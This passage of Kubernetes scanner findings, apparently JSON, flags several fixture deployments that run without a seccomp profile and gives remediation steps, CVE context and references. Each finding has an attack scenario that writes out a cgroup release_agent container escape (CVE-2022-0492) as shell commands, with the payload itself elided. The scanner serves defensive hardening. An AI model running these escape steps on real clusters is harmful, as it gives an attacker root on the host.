    "description": "Container `app` in `Deployment/lp-fixtures/lp-orphan-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-orphan-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n lp-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/lp-orphan-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:lp-fixtures:lp-wildcard-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/lp-fixtures/lp-wildcard-app`",
    "description": "Container `app` in `Deployment/lp-fixtures/lp-wildcard-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-wildcard-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n lp-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/lp-wildcard-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:netpol-imds:imds-allow-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/netpol-imds/imds-allow-app`",
    "description": "Container `app` in `Deployment/netpol-imds/imds-allow-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n netpol-imds \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/imds-allow-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:netpol-imds:imds-open-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/netpol-imds/imds-open-app`",
    "description": "Container `app` in `Deployment/netpol-imds/imds-open-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n netpol-imds \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/imds-open-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`",
    "description": "Container `app` in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` either omits `securityContext.seccompProfile` (at both container and pod level) or sets it to `Unconfined`. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (`RuntimeDefault`) blocks about 44 of those, including the syscall families that container-escape exploits depend on.\n\nWhy that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under `RuntimeDefault`. CVE-2022-0492 (cgroup release_agent escape) needs `unshare(CLONE_NEWUSER|CLONE_NEWNS)` and `mount` — both filtered. CVE-2024-21626 \"Leaky Vessels\" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (`keyctl`, `add_key`, `bpf`, `userfaultfd`, `clone3` with namespace flags).\n\nThe Pod Security Standards Restricted level mandates `seccompProfile.type: RuntimeDefault` or `Localhost` (with a pinned profile name). `Unconfined` is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`"
    },
    "impact": "Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.",
    "attack_scenario": [
      "Gain code execution inside the container.",
      "Check the seccomp state: `grep Seccomp /proc/1/status` returns `0` (disabled) or `Unconfined`. Under `RuntimeDefault` it would return `2` (filtered).",
      "Stage a cgroup release_agent escape (CVE-2022-0492 class): `unshare -UrmC --propagation=unchanged` to spawn a user-namespaced shell, then `mount -t cgroup -o rdma cgroup /mnt/c \u0026\u0026 echo 1 \u003e /mnt/c/notify_on_release \u0026\u0026 echo '#!/bin/sh\\nbash -c \"...\" \u003e /tmp/x' \u003e /mnt/c/release_agent`.",
      "Trigger the release: write a PID to `cgroup.procs` and exit. The kernel runs the release_agent payload on the host as root.",
      "Under `RuntimeDefault` the same chain fails at step 3 because `unshare` returns `EPERM`; the escape cannot start."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `securityContext.seccompProfile.type: RuntimeDefault` on every container (or once at the pod level).",
    "remediation_steps": [
      "Add `seccompProfile: { type: RuntimeDefault }` to either each container's `securityContext` or the pod-level `securityContext` (container-level wins on conflict).",
      "For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under `/var/lib/kubelet/seccomp/profiles/` on each node and set `type: Localhost` with `localhostProfile: \u003cpath\u003e`. Never use `Unconfined`.",
      "Apply Pod Security Admission `restricted` to the namespace to lock the requirement in at admit time.",
      "Validate: `kubectl exec -n psa-unlabeled-fixtures \u003cpod\u003e -- grep Seccomp /proc/1/status` returns `2`. Inspect spec: `kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://kubernetes.io/docs/tutorials/security/seccomp/",
      "https://docs.docker.com/engine/security/seccomp/",
      "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "Kubernetes — Restrict a Container's Syscalls with seccomp",
        "url": "https://kubernetes.io/docs/tutorials/security/seccomp/"
      },
      {
        "title": "Docker — Seccomp security profiles",
        "url": "https://docs.docker.com/engine/security/seccomp/"
      },
      {
        "title": "CVE-2022-0492 — cgroup release_agent container escape",
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0492"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.7.2",
        "title": "Ensure that the seccomp profile is set to docker/default in your pod definitions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:seccompProfile"
    ]
  },
  {
    "id": "KUBE-PODSEC-SECCOMP-001:Deployment:rbac-fixtures:imp-app:app",
    "rule_id": "KUBE-PODSEC-SECCOMP-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Container `app` runs without a seccomp profile in `Deployment/rbac-fixtures/imp-app`",
